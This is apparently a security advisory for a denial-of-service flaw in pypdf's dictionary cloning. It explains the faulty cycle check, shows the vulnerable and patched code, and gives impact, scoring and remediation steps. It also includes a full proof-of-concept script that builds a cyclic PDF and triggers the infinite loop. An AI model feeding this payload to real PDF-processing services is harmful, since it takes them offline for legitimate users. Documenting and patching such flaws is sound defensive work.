CVE-2026-119205: Denial of Service via Infinite Loop in pypdf DictionaryObject Cloning

pypdf is a widely deployed, pure-Python library used for reading, splitting, merging, and transforming Portable Document Format (PDF) files. Within backend web applications, document management pipelines, and automated ingestion workflows, pypdf frequently processes untrusted PDF documents supplied by external users. Operations that assemble or rewrite documents—such as PdfWriter.append(), PdfWriter.merge(), or explicit object cloning—rely on the library's internal data structure manipulation routines to copy PDF objects from a source reader to a destination writer.

In versions prior to 6.21.4, pypdf contains an infinite loop vulnerability tracked as CVE-2026-119205 (and GHSA-mfr5-77xh-9j7h) within the DictionaryObject._clone() method in pypdf/generic/_data_structures.py. The PDF specification permits indirect objects to reference one another, which allows for the creation of cyclic object graphs where dictionary entries point back to parent or sibling dictionaries. When pypdf duplicates these structures into a new document, it must track previously visited nodes to prevent infinite traversal across circular references.

Classified under CWE-835 (Loop with Unreachable Exit Condition), the vulnerability exists because the traversal routine checked the identity of newly instantiated destination references rather than the original source object references. When an application attempts to clone or append a crafted PDF containing mutual indirect dictionary references, the cycle check fails to recognize that a source object has already been traversed. Consequently, the cloning loop runs indefinitely, pinning the Python execution thread at 100% CPU utilization and causing a denial of service.

The root cause of CVE-2026-119205 lies in how DictionaryObject._clone() manages state within its visited tracking set when iterating over chained dictionary references. In a PDF document, indirect objects are uniquely identified by a tuple consisting of an object ID number (idnum) and a generation number (generation), represented in pypdf by the IndirectObject class. When cloning a DictionaryObject, pypdf resolves indirect references and iteratively clones chained sub-objects using a while cur_obj is not None: loop rather than deep call-stack recursion.

To prevent infinite loops when encountering circular references (for example, Object 5 referencing Object 6 via key /N, and Object 6 referencing Object 5 via key /N), the _clone() method maintains a visited set of (idnum, generation) tuples. Inside the while loop, the routine invokes cur_obj._reference_clone(cur_obj.__class__(), pdf_dest, force_duplicate) to instantiate the cloned object (clon) inside the destination PDF (pdf_dest) before performing the cycle check.

The implementation mistake occurred because the code extracted idnum and generation from clon.indirect_reference (the newly allocated destination reference in pdf_dest) rather than cur_obj.indirect_reference (the original reference in the source PDF). When force_duplicate is active or when new destination objects are allocated sequentially during traversal, clon.indirect_reference does not reflect the cyclic identity of cur_obj in the source document.

Because each iteration evaluates the destination state instead of the source node identity, the condition if (idnum, generation) in visited: evaluates to False even when cur_obj has been visited multiple times. The loop continues allocating new clones and traversing between the cyclic source dictionaries until the process is externally terminated or exhausts system memory.

The vulnerability resides in pypdf/generic/_data_structures.py within the _clone method of DictionaryObject. Prior to version 6.21.4, the while cur_obj is not None: loop immediately called _reference_clone() and checked the resulting clon object's indirect_reference attribute against the visited set.

# VULNERABLE CODE: pypdf/generic/_data_structures.py (prior to 6.21.4)
prev_obj: Optional[DictionaryObject] = self
while cur_obj is not None:
    clon = cast(
        "DictionaryObject",
        cur_obj._reference_clone(
            cur_obj.__class__(), pdf_dest, force_duplicate
        ),
    )
    # Flaw: Inspects the newly generated destination reference on 'clon'
    # instead of the source reference on 'cur_obj'
    if clon.indirect_reference is not None:
        idnum = clon.indirect_reference.idnum
        generation = clon.indirect_reference.generation
        if (idnum, generation) in visited:
            cur_obj = None
            break
        visited.add((idnum, generation))
    objs.append((cur_obj, clon))
    assert prev_obj is not None
    prev_obj[NameObject(k)] = clon.indirect_reference

In commit f176db1a1f7f9af3e472e69a843ef1175653b044 (Pull Request #4288), the maintainers resolved the flaw by capturing cur_obj.indirect_reference into a local variable source_reference prior to executing _reference_clone(). The cycle detection logic then extracts source_idnum and source_generation directly from source_reference.

# PATCHED CODE: pypdf/generic/_data_structures.py (version 6.21.4)
prev_obj: Optional[DictionaryObject] = self
while cur_obj is not None:
    # Fix: Capture the original source object's indirect reference
    source_reference = cur_obj.indirect_reference
    clon = cast(
        "DictionaryObject",
        cur_obj._reference_clone(
            cur_obj.__class__(), pdf_dest, force_duplicate
        ),
    )
    # Check to see if we've previously processed our source item
    if source_reference is not None:
        source_idnum = source_reference.idnum
        source_generation = source_reference.generation
        if (source_idnum, source_generation) in visited:
            cur_obj = None
            break
        visited.add((source_idnum, source_generation))
    objs.append((cur_obj, clon))
    assert prev_obj is not None
    prev_obj[NameObject(k)] = clon.indirect_reference

> [!NOTE] > Assessment of Fix Completeness: The patch accurately binds the visited set to the source document's object identifiers (source_idnum, source_generation). Because any cycle in a static source PDF must repeat an existing indirect object reference in the source xref table, tracking cur_obj.indirect_reference guarantees that the loop terminates once any node in the cycle is encountered a second time. Notice that _reference_clone() still executes once for the repeated node before the break statement triggers, which is expected so that prev_obj[NameObject(k)] received the valid reference in the prior iteration without overwriting subsequent links.

Exploiting CVE-2026-119205 requires an attacker to submit a crafted PDF file to an application that invokes pypdf cloning operations, such as PdfWriter.append(), PdfWriter.add_page(), or PdfWriter.clone_document_from_reader(). No authentication or elevated privileges are required within pypdf itself; the sole prerequisite is that the target application processes the attacker-supplied document using a vulnerable version of the library.

To trigger the infinite loop, the PDF must contain a chain of dictionary objects linked via the /N (Next) entry—commonly used in PDF navigation nodes, bead threads, or chained structures—that forms a closed loop. Specifically, the /Contents stream dictionary of a page can reference an indirect dictionary via /N, which in turn references a second indirect dictionary via /N that points back to the first.

The official regression test introduced in tests/generic/test_data_structures.py demonstrates the exact byte structure required to trigger the vulnerability:

from io import BytesIO
from pypdf import PdfWriter
 
# Define minimal PDF objects where Object 5 and Object 6 form a mutual /N cycle:
# Object 4 (Page Contents stream) -> /N 5 0 R
# Object 5 -> /N 6 0 R
# Object 6 -> /N 5 0 R
objects = [
    b"<< /Type /Catalog /Pages 2 0 R >>",
    b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 200 200] /Contents [4 0 R] >>",
    b"<< /Length 0 /N 5 0 R >>\nstream\n\nendstream",
    b"<< /N 6 0 R /T (alpha) >>",
    b"<< /N 5 0 R /T (beta) >>",
]
 
object_count = len(objects)
out = bytearray(b"%PDF-1.4\n%\xe2\xe3\xcf\xd3\n")
offsets = []
for num, obj in enumerate(objects, start=1):
    offsets.append(len(out))
    out += b"%d 0 obj\n" % num + obj + b"\nendobj\n"
 
xref = len(out)
out += b"xref\n0 %d\n" % (object_count + 1)
out += b"0000000000 65535 f \n"
for offset in offsets:
    out += b"%010d 00000 n \n" % offset
out += b"trailer\n<< /Size %d /Root 1 0 R >>\nstartxref\n%d\n%%%%EOF\n" % (object_count + 1, xref)
data = bytes(out)
 
# Trigger the infinite loop during dictionary cloning
writer = PdfWriter()
writer.append(BytesIO(data))

When writer.append(BytesIO(data)) executes on pypdf < 6.21.4, the parser reads the page object (Object 3), resolves its /Contents stream (Object 4), and begins iterating over the /N chain starting at Object 5. Because the cycle check inspects the destination clone rather than the source reference (5, 0) and (6, 0), execution alternates between Object 5 and Object 6 indefinitely.

The primary impact of CVE-2026-119205 is a high-severity Denial of Service (DoS) affecting system availability. The vulnerability does not allow memory corruption, arbitrary code execution, or unauthorized data disclosure, as pypdf operates entirely within the managed memory space of the Python runtime. Consequently, both Confidentiality and Integrity metrics across the Vulnerable and Subsequent systems are rated as None (VC:N/VI:N/SC:N/SI:N).

In a production environment, triggering the infinite loop consumes 100% of the CPU core assigned to the Python process or worker thread. Furthermore, because the objs.append((cur_obj, clon)) call inside the loop continuously appends object tuples on every iteration, memory consumption grows monotonically until the operating system's Out-Of-Memory (OOM) killer terminates the process or the container exceeds its cgroup memory limit.

For web services and microservices using synchronous WSGI servers (such as Gunicorn or uWSGI with a fixed pool of worker processes) or asynchronous event loops (such as FastAPI or asyncio where CPU-bound PDF manipulation is inadvertently run on the main event loop), a small number of concurrent requests containing this payload will exhaust all available workers. This renders the application incapable of serving legitimate users until the hung processes are manually restarted.

The CVSS v4.0 base score is 7.1 (High) (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N). Threat intelligence metrics indicate an EPSS score of 0.00304 (23.18th percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

The definitive remediation for CVE-2026-119205 is to upgrade pypdf to version 6.21.4 or later. Version 6.21.4 contains commit f176db1a1f7f9af3e472e69a843ef1175653b044, which corrects the cycle detection logic in DictionaryObject._clone().

Administrators and developers can apply the update via pip or their respective Python dependency manager:

pip install --upgrade "pypdf>=6.21.4"

If immediate upgrading is not feasible due to dependency constraints, engineering teams should implement defense-in-depth runtime controls around PDF processing tasks:

1. Subprocess Isolation and Execution Timeouts: Never execute PdfWriter.append(), merge(), or cloning operations directly on the main web server thread or asyncio event loop. Offload PDF manipulation to dedicated worker processes (for example, via concurrent.futures.ProcessPoolExecutor or Celery task queues configured with a strict time_limit and soft_time_limit) so hung workers can be terminated cleanly via SIGKILL.
2. Operating System Resource Limits: Apply strict CPU time (RLIMIT_CPU) and virtual memory (RLIMIT_AS) limits to worker processes handling untrusted documents using Python's built-in resource module on POSIX systems, or enforce equivalent container-level CPU and memory quotas.
3. Pre-processing Sanitization: If PDF files pass through an external ingestion gateway prior to reaching Python workers, use structural PDF validation tools (such as qpdf --check) to reject malformed or abnormally structured documents before cloning.